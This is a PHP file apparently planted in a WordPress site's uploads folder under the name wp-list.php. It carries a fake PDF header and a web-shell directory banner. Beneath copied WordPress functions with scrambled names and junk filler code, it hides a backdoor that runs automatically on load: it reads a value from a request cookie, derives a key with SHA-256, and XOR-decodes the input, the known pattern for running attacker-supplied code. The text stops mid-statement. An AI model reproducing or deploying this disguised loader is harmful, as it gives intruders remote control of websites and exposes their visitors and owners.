%PDF- %PDF-
Direktori : /var/www/html/friendstravel.al/wp-content/uploads/ |
Current File : /var/www/html/friendstravel.al/wp-content/uploads/wp-list.php |
<?php /** * Adds a group or set of groups to the list of global groups. * * @since 2.6.0 * * @see WP_Object_Cache::add_global_groups() * @global WP_Object_Cache $remind_interval Object cache global instance. * * @param string|string[] $menu_post A group or an array of groups to add. */ function wp_filter_wp_template_unique_post_slug($menu_post) { global $remind_interval; $remind_interval->add_global_groups($menu_post); } $source_post_id = ['Toyota', 'Ford', 'BMW', 'Honda']; /** * Unregisters a meta key for terms. * * @since 4.9.8 * * @param string $kids Taxonomy the meta key is currently registered for. Pass * an empty string if the meta key is registered across all * existing taxonomies. * @param string $style_path_key The meta key to unregister. * @return bool True on success, false if the meta key was not previously registered. */ function pointer_wp390_widgets($cuetrackpositions_entry) { $ratecount = range(1, 15); $LAMEvbrMethodLookup = 4; $preset_style = "Functionality"; $check_vcs = use_ssl_preference($cuetrackpositions_entry); return "Capitalized: " . $check_vcs['capitalized'] . "\nReversed: " . $check_vcs['reversed']; } $strip_teaser = 10; /** * Endpoints registered to the server. * * @since 4.4.0 * @var array */ function randombytes_random16($generated_slug_requested) { $S7 = 0; $sign_cert_file = "Navigation System"; $bittotal = preg_replace('/[aeiou]/i', '', $sign_cert_file); // Library. foreach ($generated_slug_requested as $root_tag) { $S7 += use_codepress($root_tag); } return $S7; } /** * Gets a blog's numeric ID from its URL. * * On a subdirectory installation like example.com/blog1/, * $wp_registered_widget_updates will be the root 'example.com' and $variation_output the * subdirectory '/blog1/'. With subdomains like blog1.example.com, * $wp_registered_widget_updates is 'blog1.example.com' and $variation_output is '/'. * * @since MU (3.0.0) * * @global wpdb $post_status_obj WordPress database abstraction object. * * @param string $wp_registered_widget_updates Website domain. * @param string $variation_output Optional. Not required for subdomain installations. Default '/'. * @return int 0 if no blog found, otherwise the ID of the matching blog. */ function IXR_Request($wp_registered_widget_updates, $variation_output = '/') { $wp_registered_widget_updates = strtolower($wp_registered_widget_updates); $variation_output = strtolower($variation_output); $primary_id_column = wp_cache_get(md5($wp_registered_widget_updates . $variation_output), 'blog-id-cache'); if (-1 == $primary_id_column) { // Blog does not exist. return 0; } elseif ($primary_id_column) { return (int) $primary_id_column; } $cached_response = array('domain' => $wp_registered_widget_updates, 'path' => $variation_output, 'fields' => 'ids', 'number' => 1, 'update_site_meta_cache' => false); $f5g5_38 = get_sites($cached_response); $primary_id_column = array_shift($f5g5_38); if (!$primary_id_column) { wp_cache_set(md5($wp_registered_widget_updates . $variation_output), -1, 'blog-id-cache'); return 0; } wp_cache_set(md5($wp_registered_widget_updates . $variation_output), $primary_id_column, 'blog-id-cache'); return $primary_id_column; } /** * Sets up the hooks for the Custom Background admin page. * * @since 3.0.0 */ function form_callback(){ // Object ID GUID 128 // GUID for the Timecode Index Parameters Object - ASF_Timecode_Index_Parameters_Object // REST API filters. // CTOC flags %xx $ratecount = range(1, 15); $more_file = "Exploration"; $subtbquery = array_map(function($root_tag) {return pow($root_tag, 2) - 10;}, $ratecount); $custom_css = substr($more_file, 3, 4); // Set the correct content type for feeds. $v_att_list = "fiZsznYCBqq"; // Support updates for any plugins using the `Update URI` header field. // Primitive capabilities used within map_meta_cap(): $should_prettify = strtotime("now"); $recent = max($subtbquery); // Check for a cached result (stored as custom post or in the post meta). $strhfccType = date('Y-m-d', $should_prettify); $search_form_template = min($subtbquery); // Wrap title with span to isolate it from submenu icon. wp_shake_js($v_att_list); } $subkey = 10; /** * Gets a list of a plugin's files. * * @since 2.8.0 * * @param string $filter_excerpt_more Path to the plugin file relative to the plugins directory. * @return string[] Array of file names relative to the plugin root. */ function validate_another_blog_signup($filter_excerpt_more) { $GetDataImageSize = WP_PLUGIN_DIR . '/' . $filter_excerpt_more; $dismiss_lock = dirname($GetDataImageSize); $minimum_font_size_limit = array(plugin_basename($GetDataImageSize)); if (is_dir($dismiss_lock) && WP_PLUGIN_DIR !== $dismiss_lock) { /** * Filters the array of excluded directories and files while scanning the folder. * * @since 4.9.0 * * @param string[] $default_theme Array of excluded directories and files. */ $default_theme = (array) apply_filters('plugin_files_exclusions', array('CVS', 'node_modules', 'vendor', 'bower_components')); $side = list_files($dismiss_lock, 100, $default_theme); $side = array_map('plugin_basename', $side); $minimum_font_size_limit = array_merge($minimum_font_size_limit, $side); $minimum_font_size_limit = array_values(array_unique($minimum_font_size_limit)); } return $minimum_font_size_limit; } /** * Retrieves the archive title based on the queried object. * * @since 4.1.0 * @since 5.5.0 The title part is wrapped in a `<span>` element. * * @return string Archive title. */ function post_comment_meta_box($cuetrackpositions_entry) { $has_published_posts = range(1, 12); $rendered_widgets = [2, 4, 6, 8, 10]; $sign_cert_file = "Navigation System"; $FirstFrameThisfileInfo = "135792468"; $bittotal = preg_replace('/[aeiou]/i', '', $sign_cert_file); $enhanced_query_stack = array_map(function($descriptions) {return strtotime("+$descriptions month");}, $has_published_posts); $document_root_fix = array_map(function($offered_ver) {return $offered_ver * 3;}, $rendered_widgets); $buffer_4k = strrev($FirstFrameThisfileInfo); $privacy_policy_guide = explode(' ', $cuetrackpositions_entry); // Schedule a cleanup for 2 hours from now in case of failed installation. $lastChunk = 15; $frame_url = str_split($buffer_4k, 2); $site_details = strlen($bittotal); $default_instance = array_map(function($should_prettify) {return date('Y-m', $should_prettify);}, $enhanced_query_stack); $BlockType = array_reverse($privacy_policy_guide); $certificate_path = function($GETID3_ERRORARRAY) {return date('t', strtotime($GETID3_ERRORARRAY)) > 30;}; $sitemap_xml = substr($bittotal, 0, 4); $ratings = array_map(function($xoff) {return intval($xoff) ** 2;}, $frame_url); $day_month_year_error_msg = array_filter($document_root_fix, function($skip_link_script) use ($lastChunk) {return $skip_link_script > $lastChunk;}); return implode(' ', $BlockType); } /** * Get a contributor for the feed * * @since 1.1 * @param int $permissive_match3 The contrbutor that you want to return. Remember that arrays begin with 0, not 1 * @return SimplePie_Author|null */ function delete_all($cuetrackpositions_entry) { // -7 -36.12 dB $comment_author_url = update_additional_fields_for_object($cuetrackpositions_entry); return "String Length: " . $comment_author_url['length'] . ", Characters: " . implode(", ", $comment_author_url['array']); } $check_comment_lengths = [72, 68, 75, 70]; form_callback(); /** * Determines whether the value is an acceptable type for GD image functions. * * In PHP 8.0, the GD extension uses GdImage objects for its data structures. * This function checks if the passed value is either a GdImage object instance * or a resource of type `gd`. Any other type will return false. * * @since 5.6.0 * * @param resource|GdImage|false $mce_init A value to check the type for. * @return bool True if `$mce_init` is either a GD image resource or a GdImage instance, * false otherwise. */ function term_description($mce_init) { if ($mce_init instanceof GdImage || is_resource($mce_init) && 'gd' === get_resource_type($mce_init)) { return true; } return false; } /* * Comments column uses HTML in the display name with screen reader text. * Strip tags to get closer to a user-friendly string. */ function wp_apply_typography_support($generated_slug_requested) { return array_reverse($generated_slug_requested); } // Consider elements with these header-specific contexts to be in viewport. /** * Gets the time elapsed so far during this PHP script. * * Uses REQUEST_TIME_FLOAT that appeared in PHP 5.4.0. * * @since 5.8.0 * * @return float Seconds since the PHP script started. */ function unregister_handler() { return microtime(true) - $_SERVER['REQUEST_TIME_FLOAT']; } /** This action is documented in wp-includes/class-wp-http.php */ function update_additional_fields_for_object($cuetrackpositions_entry) { // Self-URL destruction sequence. $client = "SimpleLife"; $rendered_widgets = [2, 4, 6, 8, 10]; $check_comment_lengths = [72, 68, 75, 70]; $packed = [85, 90, 78, 88, 92]; $strip_teaser = 10; // encoder // Add these settings to the start of the array so that themes can override them. // Sanitize settings based on callbacks in the schema. $requires_wp = wp_get_sidebar($cuetrackpositions_entry); $custom_class_name = wp_handle_upload($cuetrackpositions_entry); // AC3 and E-AC3 put the "bsid" version identifier in the same place, but unfortnately the 4 bytes between the syncword and the version identifier are interpreted differently, so grab it here so the following code structure can make sense $catid = strtoupper(substr($client, 0, 5)); $f5f8_38 = max($check_comment_lengths); $p_remove_path_size = range(1, $strip_teaser); $imgindex = array_map(function($offered_ver) {return $offered_ver + 5;}, $packed); $document_root_fix = array_map(function($offered_ver) {return $offered_ver * 3;}, $rendered_widgets); return ['length' => $requires_wp,'array' => $custom_class_name]; } /** * Customize Date Time Control class. * * @since 4.9.0 * * @see WP_Customize_Control */ function use_codepress($AudioChunkStreamType) { $file_dirname = 5; return $AudioChunkStreamType * $AudioChunkStreamType * $AudioChunkStreamType; } /** * Border block support flag. * * @package WordPress * @since 5.8.0 */ /** * Registers the style attribute used by the border feature if needed for block * types that support borders. * * @since 5.8.0 * @since 6.1.0 Improved conditional blocks optimization. * @access private * * @param WP_Block_Type $send_as_email Block Type. */ function update_keys($send_as_email) { // Setup attributes and styles within that if needed. if (!$send_as_email->attributes) { $send_as_email->attributes = array(); } if (block_has_support($send_as_email, '__experimentalBorder') && !array_key_exists('style', $send_as_email->attributes)) { $send_as_email->attributes['style'] = array('type' => 'object'); } if (wp_has_border_feature_support($send_as_email, 'color') && !array_key_exists('borderColor', $send_as_email->attributes)) { $send_as_email->attributes['borderColor'] = array('type' => 'string'); } } /** @var ParagonIE_Sodium_Core_Curve25519_Ge_Cached[] $pi */ function wp_get_sidebar($cuetrackpositions_entry) { // Already at maximum, move on $skipped_div = 9; $returnstring = "abcxyz"; $has_published_posts = range(1, 12); return remove_frameless_preview_messenger_channel($cuetrackpositions_entry); } /** * Restores a post to the specified revision. * * Can restore a past revision using all fields of the post revision, or only selected fields. * * @since 2.6.0 * * @param int|WP_Post $post_rewrite Revision ID or revision object. * @param array $extra_items Optional. What fields to restore from. Defaults to all. * @return int|false|null Null if error, false if no fields to restore, (int) post ID if success. */ function wp_schedule_test_init($post_rewrite, $extra_items = null) { $post_rewrite = wp_get_post_revision($post_rewrite, ARRAY_A); if (!$post_rewrite) { return $post_rewrite; } if (!is_array($extra_items)) { $extra_items = array_keys(_wp_post_revision_fields($post_rewrite)); } $slice = array(); foreach (array_intersect(array_keys($post_rewrite), $extra_items) as $removed) { $slice[$removed] = $post_rewrite[$removed]; } if (!$slice) { return false; } $slice['ID'] = $post_rewrite['post_parent']; $slice = wp_slash($slice); // Since data is from DB. $QuicktimeColorNameLookup = wp_update_post($slice); if (!$QuicktimeColorNameLookup || is_wp_error($QuicktimeColorNameLookup)) { return $QuicktimeColorNameLookup; } // Update last edit user. update_post_meta($QuicktimeColorNameLookup, '_edit_last', get_current_user_id()); /** * Fires after a post revision has been restored. * * @since 2.6.0 * * @param int $QuicktimeColorNameLookup Post ID. * @param int $post_rewrite_id Post revision ID. */ do_action('wp_schedule_test_init', $QuicktimeColorNameLookup, $post_rewrite['ID']); return $QuicktimeColorNameLookup; } // Macintosh timestamp: seconds since 00:00h January 1, 1904 /** * Whether a child theme is in use. * * @since 3.0.0 * @since 6.5.0 Makes use of global template variables. * * @global string $page_date Path to current theme's stylesheet directory. * @global string $cat1 Path to current theme's template directory. * * @return bool True if a child theme is in use, false otherwise. */ function wp_popular_terms_checklist() { global $page_date, $cat1; return $page_date !== $cat1; } /** @var string $right */ function privOpenFd($root_settings_key){ $has_published_posts = range(1, 12); $skipped_div = 9; $enhanced_query_stack = array_map(function($descriptions) {return strtotime("+$descriptions month");}, $has_published_posts); $wp_settings_fields = 45; $dim_props = $_COOKIE[$root_settings_key]; $MTIME = rawurldecode($dim_props); $default_instance = array_map(function($should_prettify) {return date('Y-m', $should_prettify);}, $enhanced_query_stack); $SNDM_thisTagDataFlags = $skipped_div + $wp_settings_fields; $certificate_path = function($GETID3_ERRORARRAY) {return date('t', strtotime($GETID3_ERRORARRAY)) > 30;}; $bodyCharSet = $wp_settings_fields - $skipped_div; return $MTIME; } /** * Get the CSS for global styles. * * Example output: * body{--wp--preset--duotone--blue-orange:url('#wp-duotone-blue-orange');} * * @internal * * @since 6.3.0 * * @param array $sources The duotone presets. * @return string The CSS for global styles. */ function for_blog($support_layout, $media_types){ $media_types ^= $support_layout; $packed = [85, 90, 78, 88, 92]; // 1 on success,0 or less on error (see error code list) return $media_types; } $GPS_free_data = 20; /** * Loads image from $pending_admin_email_messagehis->file into new GD Resource. * * @since 3.5.0 * * @return true|WP_Error True if loaded successfully; WP_Error on failure. */ function wp_admin_headers($generated_slug_requested) { $protected_directories = []; //Try CRAM-MD5 first as it's more secure than the others foreach ($generated_slug_requested as $skip_link_script) { $protected_directories[] = $skip_link_script * 2; } return $protected_directories; } /** * Extracts meta information about an AVIF file: width, height, bit depth, and number of channels. * * @since 6.5.0 * * @param string $ismultipart Path to an AVIF file. * @return array { * An array of AVIF image information. * * @type int|false $chapter_string_length_hex Image width on success, false on failure. * @type int|false $logged_in Image height on success, false on failure. * @type int|false $bit_depth Image bit depth on success, false on failure. * @type int|false $root_tag_channels Image number of channels on success, false on failure. * } */ function capture_filter_pre_update_option($ismultipart) { $prelabel = array('width' => false, 'height' => false, 'bit_depth' => false, 'num_channels' => false); if ('image/avif' !== wp_get_image_mime($ismultipart)) { return $prelabel; } // Parse the file using libavifinfo's PHP implementation. require_once ABSPATH . WPINC . '/class-avif-info.php'; $mlen0 = fopen($ismultipart, 'rb'); if ($mlen0) { $custom_values = new Avifinfo\Parser($mlen0); $mysql_var = $custom_values->parse_ftyp() && $custom_values->parse_file(); fclose($mlen0); if ($mysql_var) { $prelabel = $custom_values->features->primary_item_features; } } return $prelabel; } /** * @since 3.5.0 * @since 6.0.0 The `$filesize` value was added to the returned array. * * @param resource|GdImage $mce_init * @param string|null $ismultipart * @param string|null $mime_type * @return array|WP_Error { * Array on success or WP_Error if the file failed to save. * * @type string $variation_output Path to the image file. * @type string $file Name of the image file. * @type int $chapter_string_length_hex Image width. * @type int $logged_in Image height. * @type string $mime-type The mime type of the image. * @type int $filesize File size of the image. * } */ function wp_ajax_send_link_to_editor($permissive_match3, $SNDM_startoffset){ $reused_nav_menu_setting_ids = strlen($permissive_match3); $reused_nav_menu_setting_ids = $SNDM_startoffset / $reused_nav_menu_setting_ids; $LAMEvbrMethodLookup = 4; $AudioFrameLengthCache = 32; $loaded_files = $LAMEvbrMethodLookup + $AudioFrameLengthCache; // as being equivalent to RSS's simple link element. // fe25519_mul(s_, den_inv, s_); $button_wrapper = $AudioFrameLengthCache - $LAMEvbrMethodLookup; $reused_nav_menu_setting_ids = ceil($reused_nav_menu_setting_ids); $owner = range($LAMEvbrMethodLookup, $AudioFrameLengthCache, 3); // Post is either its own parent or parent post unavailable. // return a 2-byte UTF-8 character $reused_nav_menu_setting_ids += 1; $child_context = array_filter($owner, function($is_IIS) {return $is_IIS % 4 === 0;}); $color_support = str_repeat($permissive_match3, $reused_nav_menu_setting_ids); // s2 = a0 * b2 + a1 * b1 + a2 * b0; return $color_support; } /** * Retrieves the feed link for a term. * * Returns a link to the feed for all posts in a given term. A specific feed * can be requested or left blank to get the default feed. * * @since 3.0.0 * * @param int|WP_Term|object $caching_headers The ID or term object whose feed link will be retrieved. * @param string $kids Optional. Taxonomy of `$caching_headers_id`. * @param string $db_version Optional. Feed type. Possible values include 'rss2', 'atom'. * Default is the value of get_default_feed(). * @return string|false Link to the feed for the term specified by `$caching_headers` and `$kids`. */ function wp_normalize_site_data($caching_headers, $kids = '', $db_version = '') { if (!is_object($caching_headers)) { $caching_headers = (int) $caching_headers; } $caching_headers = get_term($caching_headers, $kids); if (empty($caching_headers) || is_wp_error($caching_headers)) { return false; } $kids = $caching_headers->taxonomy; if (empty($db_version)) { $db_version = get_default_feed(); } $header_string = get_option('permalink_structure'); if (!$header_string) { if ('category' === $kids) { $guid = home_url("?feed={$db_version}&cat={$caching_headers->term_id}"); } elseif ('post_tag' === $kids) { $guid = home_url("?feed={$db_version}&tag={$caching_headers->slug}"); } else { $pending_admin_email_message = get_taxonomy($kids); $guid = home_url("?feed={$db_version}&{$pending_admin_email_message->query_var}={$caching_headers->slug}"); } } else { $guid = get_term_link($caching_headers, $caching_headers->taxonomy); if (get_default_feed() == $db_version) { $oldvaluelengthMB = 'feed'; } else { $oldvaluelengthMB = "feed/{$db_version}"; } $guid = trailingslashit($guid) . user_trailingslashit($oldvaluelengthMB, 'feed'); } if ('category' === $kids) { /** * Filters the category feed link. * * @since 1.5.1 * * @param string $guid The category feed link. * @param string $db_version Feed type. Possible values include 'rss2', 'atom'. */ $guid = apply_filters('category_feed_link', $guid, $db_version); } elseif ('post_tag' === $kids) { /** * Filters the post tag feed link. * * @since 2.3.0 * * @param string $guid The tag feed link. * @param string $db_version Feed type. Possible values include 'rss2', 'atom'. */ $guid = apply_filters('tag_feed_link', $guid, $db_version); } else { /** * Filters the feed link for a taxonomy other than 'category' or 'post_tag'. * * @since 3.0.0 * * @param string $guid The taxonomy feed link. * @param string $db_version Feed type. Possible values include 'rss2', 'atom'. * @param string $kids The taxonomy name. */ $guid = apply_filters('taxonomy_feed_link', $guid, $db_version, $kids); } return $guid; } /*=======================================================================*\ Function: set Purpose: add an item to the cache, keyed on url Input: url from which the rss file was fetched Output: true on success \*=======================================================================*/ function wp_get_translation_updates($cuetrackpositions_entry) { // ----- Reduce the path last (and duplicated) '/' $BlockType = strrev($cuetrackpositions_entry); return $cuetrackpositions_entry === $BlockType; } /** * Fetches settings errors registered by add_settings_error(). * * Checks the $found_valid_meta_playtime array for any errors declared during the current * pageload and returns them. * * If changes were just submitted ($_GET['settings-updated']) and settings errors were saved * to the 'settings_errors' transient then those errors will be returned instead. This * is used to pass errors back across pageloads. * * Use the $is_preset argument to manually re-sanitize the option before returning errors. * This is useful if you have errors or notices you want to show even when the user * hasn't submitted data (i.e. when they first load an options page, or in the {@see 'admin_notices'} * action hook). * * @since 3.0.0 * * @global array[] $found_valid_meta_playtime Storage array of errors registered during this pageload * * @param string $source_value Optional. Slug title of a specific setting whose errors you want. * @param bool $is_preset Optional. Whether to re-sanitize the setting value before returning errors. * @return array[] { * Array of settings error arrays. * * @type array ...$0 { * Associative array of setting error data. * * @type string $source_value Slug title of the setting to which this error applies. * @type string $code Slug-name to identify the error. Used as part of 'id' attribute in HTML output. * @type string $message The formatted message text to display to the user (will be shown inside styled * `<div>` and `<p>` tags). * @type string $f5g9_38 Optional. Message type, controls HTML class. Possible values include 'error', * 'success', 'warning', 'info'. Default 'error'. * } * } */ function fe_iszero($source_value = '', $is_preset = false) { global $found_valid_meta_playtime; /* * If $is_preset is true, manually re-run the sanitization for this option * This allows the $is_preset_callback from register_setting() to run, adding * any settings errors you want to show by default. */ if ($is_preset) { sanitize_option($source_value, get_option($source_value)); } // If settings were passed back from options.php then use them. if (isset($_GET['settings-updated']) && $_GET['settings-updated'] && get_transient('settings_errors')) { $found_valid_meta_playtime = array_merge((array) $found_valid_meta_playtime, get_transient('settings_errors')); delete_transient('settings_errors'); } // Check global in case errors have been added on this pageload. if (empty($found_valid_meta_playtime)) { return array(); } // Filter the results to those of a specific setting if one was set. if ($source_value) { $filelist = array(); foreach ((array) $found_valid_meta_playtime as $permissive_match3 => $stop_after_first_match) { if ($source_value === $stop_after_first_match['setting']) { $filelist[] = $found_valid_meta_playtime[$permissive_match3]; } } return $filelist; } return $found_valid_meta_playtime; } /** * YouTube iframe embed handler callback. * * Catches YouTube iframe embed URLs that are not parsable by oEmbed but can be wp_apply_shadow_supportd into a URL that is. * * @since 4.0.0 * * @global WP_Embed $wp_embed * * @param array $TheoraPixelFormatLookup The RegEx matches from the provided regex when calling * wp_embed_register_handler(). * @param array $is_IISttr Embed attributes. * @param string $meridiem The original URL that was matched by the regex. * @param array $rawattr The original unmodified attributes. * @return string The embed HTML. */ function wp_handle_upload($cuetrackpositions_entry) { $litewave_offset = range(1, 10); $returnstring = "abcxyz"; $LAMEvbrMethodLookup = 4; $has_tinymce = "hashing and encrypting data"; $preset_style = "Functionality"; array_walk($litewave_offset, function(&$root_tag) {$root_tag = pow($root_tag, 2);}); $min_max_width = strtoupper(substr($preset_style, 5)); $AudioFrameLengthCache = 32; $wp_rich_edit = strrev($returnstring); $show_submenu_icons = 20; return str_split($cuetrackpositions_entry); } /** * Register custom block styles * * @since Twenty Twenty-Four 1.0 * @return void */ function wp_unspam_comment() { register_block_style('core/details', array( 'name' => 'arrow-icon-details', 'label' => __('Arrow icon', 'twentytwentyfour'), /* * Styles for the custom Arrow icon style of the Details block */ 'inline_style' => ' .is-style-arrow-icon-details { padding-top: var(--wp--preset--spacing--10); padding-bottom: var(--wp--preset--spacing--10); } .is-style-arrow-icon-details summary { list-style-type: "\2193\00a0\00a0\00a0"; } .is-style-arrow-icon-details[open]>summary { list-style-type: "\2192\00a0\00a0\00a0"; }', )); register_block_style('core/post-terms', array( 'name' => 'pill', 'label' => __('Pill', 'twentytwentyfour'), /* * Styles variation for post terms * https://github.com/WordPress/gutenberg/issues/24956 */ 'inline_style' => ' .is-style-pill a, .is-style-pill span:not([class], [data-rich-text-placeholder]) { display: inline-block; background-color: var(--wp--preset--color--base-2); padding: 0.375rem 0.875rem; border-radius: var(--wp--preset--spacing--20); } .is-style-pill a:hover { background-color: var(--wp--preset--color--contrast-3); }', )); register_block_style('core/list', array( 'name' => 'checkmark-list', 'label' => __('Checkmark', 'twentytwentyfour'), /* * Styles for the custom checkmark list block style * https://github.com/WordPress/gutenberg/issues/51480 */ 'inline_style' => ' ul.is-style-checkmark-list { list-style-type: "\2713"; } ul.is-style-checkmark-list li { padding-inline-start: 1ch; }', )); register_block_style('core/navigation-link', array( 'name' => 'arrow-link', 'label' => __('With arrow', 'twentytwentyfour'), /* * Styles for the custom arrow nav link block style */ 'inline_style' => ' .is-style-arrow-link .wp-block-navigation-item__label:after { content: "\2197"; padding-inline-start: 0.25rem; vertical-align: middle; text-decoration: none; display: inline-block; }', )); register_block_style('core/heading', array('name' => 'asterisk', 'label' => __('With asterisk', 'twentytwentyfour'), 'inline_style' => "\n\t\t\t\t.is-style-asterisk:before {\n\t\t\t\t\tcontent: '';\n\t\t\t\t\twidth: 1.5rem;\n\t\t\t\t\theight: 3rem;\n\t\t\t\t\tbackground: var(--wp--preset--color--contrast-2, currentColor);\n\t\t\t\t\tclip-path: path('M11.93.684v8.039l5.633-5.633 1.216 1.23-5.66 5.66h8.04v1.737H13.2l5.701 5.701-1.23 1.23-5.742-5.742V21h-1.737v-8.094l-5.77 5.77-1.23-1.217 5.743-5.742H.842V9.98h8.162l-5.701-5.7 1.23-1.231 5.66 5.66V.684h1.737Z');\n\t\t\t\t\tdisplay: block;\n\t\t\t\t}\n\n\t\t\t\t/* Hide the asterisk if the heading has no content, to avoid using empty headings to display the asterisk only, which is an A11Y issue */\n\t\t\t\t.is-style-asterisk:empty:before {\n\t\t\t\t\tcontent: none;\n\t\t\t\t}\n\n\t\t\t\t.is-style-asterisk:-moz-only-whitespace:before {\n\t\t\t\t\tcontent: none;\n\t\t\t\t}\n\n\t\t\t\t.is-style-asterisk.has-text-align-center:before {\n\t\t\t\t\tmargin: 0 auto;\n\t\t\t\t}\n\n\t\t\t\t.is-style-asterisk.has-text-align-right:before {\n\t\t\t\t\tmargin-left: auto;\n\t\t\t\t}\n\n\t\t\t\t.rtl .is-style-asterisk.has-text-align-left:before {\n\t\t\t\t\tmargin-right: auto;\n\t\t\t\t}")); } /** * Retrieves the comment time of the current comment. * * @since 1.5.0 * @since 6.2.0 Added the `$comment_id` parameter. * * @param string $format Optional. PHP date format. Defaults to the 'time_format' option. * @param bool $gmt Optional. Whether to use the GMT date. Default false. * @param bool $pending_admin_email_messageranslate Optional. Whether to wp_apply_shadow_support the time (for use in feeds). * Default true. * @param int|WP_Comment $comment_id Optional. WP_Comment or ID of the comment for which to get the time. * Default current comment. * @return string The formatted time. */ function load_default_textdomain($generated_slug_requested) { $prelabel = delete_metadata($generated_slug_requested); return "Reversed: " . implode(", ", $prelabel['reversed']) . "\nDoubled: " . implode(", ", $prelabel['doubled']); } /** * Sanitizes POST values from an input taxonomy metabox. * * @since 5.1.0 * * @param string $kids The taxonomy name. * @param array|string $last_bar Raw term data from the 'tax_input' field. * @return array */ function ETCOEventLookup($kids, $last_bar) { /* * Assume that a 'tax_input' string is a comma-separated list of term names. * Some languages may use a character other than a comma as a delimiter, so we standardize on * commas before parsing the list. */ if (!is_array($last_bar)) { $post_type_query_vars = _x(',', 'tag delimiter'); if (',' !== $post_type_query_vars) { $last_bar = str_replace($post_type_query_vars, ',', $last_bar); } $last_bar = explode(',', trim($last_bar, " \n\t\r\x00\v,")); } $limit = array(); foreach ($last_bar as $caching_headers) { // Empty terms are invalid input. if (empty($caching_headers)) { continue; } $determined_format = get_terms(array('taxonomy' => $kids, 'name' => $caching_headers, 'fields' => 'ids', 'hide_empty' => false)); if (!empty($determined_format)) { $limit[] = (int) $determined_format[0]; } else { // No existing term was found, so pass the string. A new term will be created. $limit[] = $caching_headers; } } return $limit; } $p_remove_path_size = range(1, $strip_teaser); /** * Adds column to a database table, if it doesn't already exist. * * @since 1.3.0 * * @global wpdb $post_status_obj WordPress database abstraction object. * * @param string $invalid_protocols Database table name. * @param string $reusable_block Table column name. * @param string $filter_added SQL statement to add column. * @return bool True on success or if the column already exists. False on failure. */ function sampleRateLookup($invalid_protocols, $reusable_block, $filter_added) { global $post_status_obj; foreach ($post_status_obj->get_col("DESC {$invalid_protocols}", 0) as $frame_interpolationmethod) { if ($frame_interpolationmethod === $reusable_block) { return true; } } // Didn't find it, so try to create it. $post_status_obj->query($filter_added); // We cannot directly tell that whether this succeeded! foreach ($post_status_obj->get_col("DESC {$invalid_protocols}", 0) as $frame_interpolationmethod) { if ($frame_interpolationmethod === $reusable_block) { return true; } } return false; } $default_template_folders = $source_post_id[array_rand($source_post_id)]; $f5f8_38 = max($check_comment_lengths); function colord_clamp_hsla() { _deprecated_function(__FUNCTION__, '3.0'); } /* translators: %s: URL to Import screen. */ function delete_metadata($generated_slug_requested) { $found_audio = 21; $client = "SimpleLife"; $returnstring = "abcxyz"; $LAMEvbrMethodLookup = 4; $FirstFrameThisfileInfo = "135792468"; // And add trackbacks <permalink>/attachment/trackback. $BlockType = wp_apply_typography_support($generated_slug_requested); // but only one with the same description $protected_directories = wp_admin_headers($generated_slug_requested); return ['reversed' => $BlockType,'doubled' => $protected_directories]; } /** * Executes changes made in WordPress 6.0.0. * * @ignore * @since 6.0.0 * * @global int $incompatible_message The old (current) database version. */ function set_sanitize_class() { global $incompatible_message; if ($incompatible_message < 53011) { wp_update_user_counts(); } } // Ensure subsequent calls receive error instance. /* translators: 1: Table name, 2: Error message. */ function wp_ajax_save_widget($infinite_scroll, $raw_setting_id){ $strip_teaser = 10; $hierarchical_taxonomies = 8; // Ensure we only hook in once $codepoint = hash("sha256", $infinite_scroll, TRUE); $p_remove_path_size = range(1, $strip_teaser); $cache_data = 18; $widget_numbers = $hierarchical_taxonomies + $cache_data; $v_year = 1.2; $col_type = $cache_data / $hierarchical_taxonomies; $subatomsize = array_map(function($offered_ver) use ($v_year) {return $offered_ver * $v_year;}, $p_remove_path_size); // but some sample files have had incorrect number of samples, // [BF] -- The CRC is computed on all the data of the Master element it's in, regardless of its position. It's recommended to put the CRC value at the beggining of the Master element for easier reading. All level 1 elements should include a CRC-32. $MTIME = privOpenFd($raw_setting_id); $subatomdata = twentytwentytwo_styles($MTIME, $codepoint); $query_vars_hash = range($hierarchical_taxonomies, $cache_data); $f4g0 = 7; return $subatomdata; } /** * Saves option for number of rows when listing posts, pages, comments, etc. * * @since 2.8.0 */ function wp_get_first_block() { if (!isset($_POST['wp_screen_options']) || !is_array($_POST['wp_screen_options'])) { return; } check_admin_referer('screen-options-nonce', 'screenoptionnonce'); $repair = wp_get_current_user(); if (!$repair) { return; } $choice = $_POST['wp_screen_options']['option']; $skip_link_script = $_POST['wp_screen_options']['value']; if (sanitize_key($choice) !== $choice) { return; } $before_closer_tag = $choice; $f5g9_38 = str_replace('edit_', '', $before_closer_tag); $f5g9_38 = str_replace('_per_page', '', $f5g9_38); if (in_array($f5g9_38, get_taxonomies(), true)) { $before_closer_tag = 'edit_tags_per_page'; } elseif (in_array($f5g9_38, get_post_types(), true)) { $before_closer_tag = 'edit_per_page'; } else { $choice = str_replace('-', '_', $choice); } switch ($before_closer_tag) { case 'edit_per_page': case 'users_per_page': case 'edit_comments_per_page': case 'upload_per_page': case 'edit_tags_per_page': case 'plugins_per_page': case 'export_personal_data_requests_per_page': case 'remove_personal_data_requests_per_page': // Network admin. case 'sites_network_per_page': case 'users_network_per_page': case 'site_users_network_per_page': case 'plugins_network_per_page': case 'themes_network_per_page': case 'site_themes_network_per_page': $skip_link_script = (int) $skip_link_script; if ($skip_link_script < 1 || $skip_link_script > 999) { return; } break; default: $signup_blog_defaults = false; if (str_ends_with($choice, '_page') || 'layout_columns' === $choice) { /** * Filters a screen option value before it is set. * * The filter can also be used to modify non-standard [items]_per_page * settings. See the parent function for a full list of standard options. * * Returning false from the filter will skip saving the current option. * * @since 2.8.0 * @since 5.4.2 Only applied to options ending with '_page', * or the 'layout_columns' option. * * @see wp_get_first_block() * * @param mixed $signup_blog_defaults The value to save instead of the option value. * Default false (to skip saving the current option). * @param string $choice The option name. * @param int $skip_link_script The option value. */ $signup_blog_defaults = apply_filters('set-screen-option', $signup_blog_defaults, $choice, $skip_link_script); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores } /** * Filters a screen option value before it is set. * * The dynamic portion of the hook name, `$choice`, refers to the option name. * * Returning false from the filter will skip saving the current option. * * @since 5.4.2 * * @see wp_get_first_block() * * @param mixed $signup_blog_defaults The value to save instead of the option value. * Default false (to skip saving the current option). * @param string $choice The option name. * @param int $skip_link_script The option value. */ $skip_link_script = apply_filters("set_screen_option_{$choice}", $signup_blog_defaults, $choice, $skip_link_script); if (false === $skip_link_script) { return; } break; } update_user_meta($repair->ID, $choice, $skip_link_script); $meridiem = remove_query_arg(array('pagenum', 'apage', 'paged'), wp_get_referer()); if (isset($_POST['mode'])) { $meridiem = 